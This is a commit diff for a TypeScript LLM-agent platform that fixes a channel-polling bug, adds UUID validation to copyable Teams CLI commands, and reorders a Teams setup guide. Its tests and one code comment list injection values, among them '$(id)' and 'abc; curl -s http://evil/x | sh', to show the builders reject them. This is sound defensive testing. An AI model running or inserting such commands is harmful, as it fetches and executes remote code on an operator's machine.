Evenfire is an intelligence layer platform for running LLM agents that take real actions, on your infrastructure
TypeScript
fix(channel-reader,control-ui,docs): close the review findings on the Teams setup work
Jose Ramirez63f793d67db9
diff --git a/channel-reader/src/__tests__/main.test.ts b/channel-reader/src/__tests__/main.test.tsindex 0f5e5d9bc..48b3faa35 100644--- a/channel-reader/src/__tests__/main.test.ts+++ b/channel-reader/src/__tests__/main.test.ts@@ -1289,6 +1289,51 @@ describe('ChannelReader pollCycle provider guards', () => {expect(emailAdapter.fetchMessages).toHaveBeenCalledOnce()expect(messages).toHaveLength(1)})++ // The empty-array guard above is only half the problem. `continue` inside the+ // telegram branch aborts the whole CHANNEL, so a channel that legitimately has+ // telegram groups but no telegram adapter (credentials absent) also loses every+ // provider declared after telegram. charts/clerum-crds/examples/channels.yaml+ // ships exactly this shape: one CommunicationChannel with telegram + email ++ // slack. The inbox stops being polled, silently.+ it('still polls email when a real telegram group has no adapter', async () => {+ const emailAdapter = {+ fetchMessages: vi.fn(async () => [+ {+ channelType: 'email' as const,+ channelId: 'INBOX',+ sender: '[email protected]',+ content: 'hello',+ timestamp: new Date('2026-08-18T12:00:00.000Z'),+ messageId: 'email-2',+ },+ ]),+ sendMessage: vi.fn(async () => undefined),+ }++ const reader = new ChannelReader({+ rpcClient: rpcClient(),+ notificationDeliveryClient: null,+ // Email adapter only: telegram credentials are absent, which is the whole point.+ adapters: new Map([['email', emailAdapter as unknown as ChannelAdapter]]),+ })+ ;(reader as unknown as { channels: unknown[] }).channels = [+ {+ name: 'all-channels',+ namespace: 'channels',+ spec: {+ hostRef: 'agentjose',+ telegram: [{ channelId: 'telegram1', chatType: 'private', userIds: ['123'] }],+ email: [{ channelId: 'INBOX', emails: ['[email protected]'] }],+ },+ },+ ]++ const messages = await reader.pollCycle()++ expect(emailAdapter.fetchMessages).toHaveBeenCalledOnce()+ expect(messages).toHaveLength(1)+ })})describe('profileSocialChannelUrl', () => {diff --git a/channel-reader/src/main.ts b/channel-reader/src/main.tsindex bd6593f01..cc9cd07f2 100644--- a/channel-reader/src/main.ts+++ b/channel-reader/src/main.ts@@ -1298,15 +1298,32 @@ export class ChannelReader {// Process Telegram private chats, groups, and supergroups. Personal identity is verified separately.//- // Guard on length, not presence. control-ui writes every provider array on- // every channel, so a Teams or Slack channel arrives carrying `telegram: []`.- // An empty array is truthy, so this branch used to run for those channels,- // fail to find a telegram adapter, and `continue` -- skipping every- // remaining provider on the same channel. An empty array means "no telegram- // groups to poll", not "this is a telegram channel".- if (spec.telegram?.length) {+ // Two separate hazards are guarded here, and both used to cost the channel+ // every provider declared after telegram.+ //+ // 1. Guard on length, not presence. Channels created before this release+ // carry `telegram: []` even when they are Teams or Slack channels, and+ // an empty array is truthy. An empty array means "no telegram groups to+ // poll", not "this is a telegram channel".+ // 2. The exits below leave the LABELLED BLOCK, not the channel loop. A+ // `continue` here aborted the whole channel, so a channel with real+ // telegram groups but no telegram adapter (credentials absent) silently+ // stopped polling its email and everything else too.+ // charts/clerum-crds/examples/channels.yaml ships exactly that shape:+ // one CommunicationChannel carrying telegram + email + slack.+ telegramGroups: if (spec.telegram?.length) {const adapter = this.adapterForChannel('telegram', channelCRD)- if (!adapter) continue+ if (!adapter) {+ // Previously silent, which is what made this hard to diagnose.+ console.warn(+ '[Main] Skipping Telegram groups for ' ++ channelCRD.namespace ++ '/' ++ channelCRD.name ++ ': no telegram adapter; other providers on this channel still poll'+ )+ break telegramGroups+ }const providerTarget = providerTargetFromChannel(channelCRD)if (!providerTarget) {console.warn(@@ -1316,7 +1333,7 @@ export class ChannelReader {channelCRD.name +': provider target is incomplete')- continue+ break telegramGroups}const telegramPollGroups = new Map<string,@@ -1385,10 +1402,12 @@ export class ChannelReader {}}- // Process Email groups. Same empty-array reasoning as the telegram guard above.- if (spec.email?.length) {+ // Process Email groups. Same two hazards as the telegram guard above: an+ // empty array is not an email channel, and a missing adapter must not cost+ // the channel its remaining providers.+ emailGroups: if (spec.email?.length) {const adapter = this.adapterForChannel('email', channelCRD)- if (!adapter) continue+ if (!adapter) break emailGroupsfor (const group of spec.email) {const allowedSenders = new Set(group.emails)const messages = await adapter.fetchMessages(group.channelId, allowedSenders)diff --git a/channel-reader/test/unresolvedSenderNotice.test.ts b/channel-reader/test/unresolvedSenderNotice.test.tsindex 7e1172817..8f924557c 100644--- a/channel-reader/test/unresolvedSenderNotice.test.ts+++ b/channel-reader/test/unresolvedSenderNotice.test.ts@@ -591,6 +591,21 @@ describe('unresolved notice link', () => {expect(sendMessage.mock.calls[0][1]).not.toContain('.com//settings')})+ it('pins the Teams copy exactly, the way the Slack copy is pinned', async () => {+ // Without an exact assertion the Teams copy could be replaced wholesale and+ // stay green: the only other Teams assertion checks the URL, which comes+ // from profileSocialChannelUrl rather than from this string.+ const { deliver, sendMessage } = buildReader({ medium: 'teams', profileUiUrl: undefined })+ await deliver()+ expect(sendMessage.mock.calls[0][1]).toBe(+ "I can't accept messages from this Teams account. If you haven't linked it yet on the " ++ 'profile UI, open Settings > Social channels > Teams and choose Connect Microsoft Teams. ' ++ 'If you think you should already have access, contact your admin.'+ )+ expect(sendMessage.mock.calls[0][1]).not.toContain('undefined')+ expect(sendMessage.mock.calls[0][1]).not.toContain('/settings/social')+ })+it('sends the copy unchanged when no profile URL is configured', async () => {const { deliver, sendEphemeral } = buildReader({ profileUiUrl: undefined })await deliver('C1', 'U1')diff --git a/control-ui/lib/__tests__/teamsSetup.test.ts b/control-ui/lib/__tests__/teamsSetup.test.tsindex ebcbc90cd..2bc0ed2cc 100644--- a/control-ui/lib/__tests__/teamsSetup.test.ts+++ b/control-ui/lib/__tests__/teamsSetup.test.ts@@ -3,6 +3,7 @@ import {LOCAL_TEAMS_ENDPOINT_ORIGIN,TEAMS_APP_NAME_MAX_LENGTH,buildTeamsAppCreateCommand,+ buildTeamsPackageDownloadCommand,buildTeamsSupportsFilesCommand,canGenerateTeamsCommand,teamsAppNameError,@@ -107,8 +108,11 @@ describe('buildTeamsAppCreateCommand sign-in audience', () => {describe('buildTeamsSupportsFilesCommand', () => {it('includes --yes, without which the update silently does nothing', () => {- expect(buildTeamsSupportsFilesCommand('abc-123')).toBe(- "teams app manifest update abc-123 --set-json 'bots[0].supportsFiles=true' --yes"+ // A real UUID: the builder now falls back to the placeholder for anything+ // else, so 'abc-123' would no longer exercise the interpolation path.+ const appId = '0cd0e1e6-adf7-40f4-952f-79006d320a05'+ expect(buildTeamsSupportsFilesCommand(appId)).toBe(+ `teams app manifest update ${appId} --set-json 'bots[0].supportsFiles=true' --yes`)})@@ -140,6 +144,47 @@ describe('teamsInstallUrl', () => {})it('trims, since pasted ids often carry whitespace', () => {- expect(teamsInstallUrl(` ${APP} `, ` ${TENANT} `)).toContain(APP)+ // toContain(APP) would pass on a URL that still carried the surrounding+ // spaces, since APP is a substring of the padded value. Only an exact match+ // proves the href is actually resolvable.+ expect(teamsInstallUrl(` ${APP} `, ` ${TENANT} `)).toBe(+ `https://teams.microsoft.com/l/app/${APP}?installAppPackage=true&appTenantId=${TENANT}`+ )+ })+})++describe('command builders reject a non-UUID app id', () => {+ const APP = '0cd0e1e6-adf7-40f4-952f-79006d320a05'++ // These commands are rendered live from the CLIENT_ID field and handed to a+ // Copy button, and the operator pastes them into a shell. The field is free+ // text until submit, and the value is often pasted from whoever ran+ // `teams app create`. teamsInstallUrl already refuses a non-UUID; these two+ // trusted the same field blindly.+ it.each([+ ['command substitution', '$(id)'],+ ['a chained command', 'abc; curl -s http://evil/x | sh'],+ ['backticks', '`id`'],+ ['a half-typed id', '0cd0e1e6'],+ ])('falls back to the placeholder for %s', (_label, hostile) => {+ for (const cmd of [+ buildTeamsSupportsFilesCommand(hostile),+ buildTeamsPackageDownloadCommand(hostile),+ ]) {+ expect(cmd).toContain('YOUR_CLIENT_ID')+ expect(cmd).not.toContain(hostile)+ expect(cmd).not.toMatch(/[;`$|]/)+ }+ })++ it('still emits a real UUID unchanged', () => {+ expect(buildTeamsSupportsFilesCommand(APP)).toBe(+ `teams app manifest update ${APP} --set-json 'bots[0].supportsFiles=true' --yes`+ )+ expect(buildTeamsPackageDownloadCommand(APP)).toBe(`teams app package download ${APP}`)+ })++ it('trims a padded UUID rather than rejecting it', () => {+ expect(buildTeamsPackageDownloadCommand(` ${APP} `)).toBe(`teams app package download ${APP}`)})})diff --git a/control-ui/lib/teamsSetup.ts b/control-ui/lib/teamsSetup.tsindex 8ed43e094..80bededfc 100644--- a/control-ui/lib/teamsSetup.ts+++ b/control-ui/lib/teamsSetup.ts@@ -105,12 +105,32 @@ export function buildTeamsAppCreateCommand(params: { botName: string; endpoint:* "no such file or directory: appId" rather than anything that points at the* real problem.*/-export function buildTeamsSupportsFilesCommand(appId?: string): string {- const id = appId?.trim() || 'YOUR_CLIENT_ID'- return `teams app manifest update ${id} --set-json 'bots[0].supportsFiles=true' --yes`+const TEAMS_UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i++/**+ * The app id to put in a copyable command, or the placeholder when the field+ * does not hold a real one.+ *+ * These commands are rendered live from the CLIENT_ID field and handed to a Copy+ * button, and the operator pastes the result into a shell. The field is free+ * text until submit, and its value is usually pasted from whoever ran+ * `teams app create`. Interpolating it unvalidated turned `$(id)` or+ * `abc; curl -s http://evil/x | sh` into a command the operator runs on their+ * own workstation. teamsInstallUrl already refused a non-UUID; these commands+ * trusted the same field blindly.+ *+ * A half-typed id is the common case and gets the same treatment: a command+ * built from `0cd0e1e6` cannot work, so the placeholder is the more honest+ * output.+ */+function teamsCommandAppId(appId?: string): string {+ const id = appId?.trim() ?? ''+ return TEAMS_UUID_RE.test(id) ? id : 'YOUR_CLIENT_ID'}-const TEAMS_UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i+export function buildTeamsSupportsFilesCommand(appId?: string): string {+ return `teams app manifest update ${teamsCommandAppId(appId)} --set-json 'bots[0].supportsFiles=true' --yes`+}/*** The Teams install deep link, which is fully determined by the app id and the@@ -132,5 +152,5 @@ export function teamsInstallUrl(appId: string, tenantId: string): string | null/** Fallback when the deep link 404s because the Teams app catalog has not caught* up with the Developer Portal yet. Produces a package to upload by hand. */export function buildTeamsPackageDownloadCommand(appId?: string): string {- return `teams app package download ${appId?.trim() || 'YOUR_CLIENT_ID'}`+ return `teams app package download ${teamsCommandAppId(appId)}`}diff --git a/docs/how-to/connect-teams.md b/docs/how-to/connect-teams.mdindex 48cada92b..2973c2add 100644--- a/docs/how-to/connect-teams.md+++ b/docs/how-to/connect-teams.md@@ -125,8 +125,9 @@ and no `.env` is written at all.**`--sign-in-audience myOrg` matters.** `channel-reader` fetches its bot tokenfrom `https://login.microsoftonline.com/{tenantId}/oauth2/v2.0/token`, whichonly works for a single-tenant app. A multi-tenant registration needs the-`botframework.com` authority instead and fails with an `AADSTS` error. The-default is single-tenant, but the flag exists, so pin it.+`botframework.com` authority instead and fails with an `AADSTS` error. The CLI+documents `myOrg` and `multipleOrgs` as the accepted values but does not say+which one it defaults to, so pin it rather than assume.The command prints a **Teams App ID**, a **Bot ID**, an **Install in Teams**link, and writes `CLIENT_ID`, `TENANT_ID` and `CLIENT_SECRET`. On a@@ -140,28 +141,17 @@ select the app, and under **Basic information** give the long description itsown value. Do this regardless: it may be part of why the install link belowfails (see Troubleshooting), though that has not been confirmed.-Open the install link, add the app, and optionally add it to a channel.--**Expect to wait about five minutes.** Teams publishes the app to its catalog on-its own schedule, and the install link fails with "This app cannot be found"-until that finishes. That is the normal wait, not a broken setup, and it is not-a reason to re-run `teams app create`, which would leave you with two bots. Give-it a couple of minutes and click the link again. Only if it still fails after-several minutes is something actually wrong: see Troubleshooting.--Then paste `CLIENT_ID`, `TENANT_ID` and `CLIENT_SECRET` into the Control UI and-create the channel. The secret is stored as `teams-app-password` in a Secret-named `cc-<channel-name>-credentials` in the `channels` namespace, and is-write-only: it renders masked and is never returned.--Treat the generated `.env` as a secret. Do not paste it into a document, a chat,-or a screenshot.-## Enable file upload and downloadWorkflow results are delivered as files, which the bot cannot send unless themanifest allows it.+**Do this before you install the app.** Microsoft documents that you "must+reinstall if you change any app configurations", and `supportsFiles` is a+configuration rather than a code change. An app installed from a manifest+without it keeps that manifest, so enabling it afterwards means updating or+reinstalling the app in every scope where it was added.+`YOUR_CLIENT_ID` below is the `CLIENT_ID` from your `.env`. On a teams-managedbot the Teams App ID, the Bot ID and `CLIENT_ID` are the same UUID, so any ofthe three works and there is nothing extra to look up.@@ -199,6 +189,27 @@ the CLI, edit the manifest directly under Configure > **App package editor**.endpoint is reachable and shows `Sign-in audience: AzureADMyOrg` for a correctlyregistered single-tenant bot.+## Create the channel in the Control UI++Then paste `CLIENT_ID`, `TENANT_ID` and `CLIENT_SECRET` into the Control UI and+create the channel. The secret is stored as `teams-app-password` in a Secret+named `cc-<channel-name>-credentials` in the `channels` namespace, and is+write-only: it renders masked and is never returned.++Treat the generated `.env` as a secret. Do not paste it into a document, a chat,+or a screenshot.++## Install the app in Teams++Open the install link, add the app, and optionally add it to a channel.++**Expect to wait about five minutes.** Teams publishes the app to its catalog on+its own schedule, and the install link fails with "This app cannot be found"+until that finishes. That is the normal wait, not a broken setup, and it is not+a reason to re-run `teams app create`, which would leave you with two bots. Give+it a couple of minutes and click the link again. Only if it still fails after+several minutes is something actually wrong: see Troubleshooting.+## Any cluster (CRD path)Teams is declared as a `CommunicationChannel` bound to a `Host`, with the client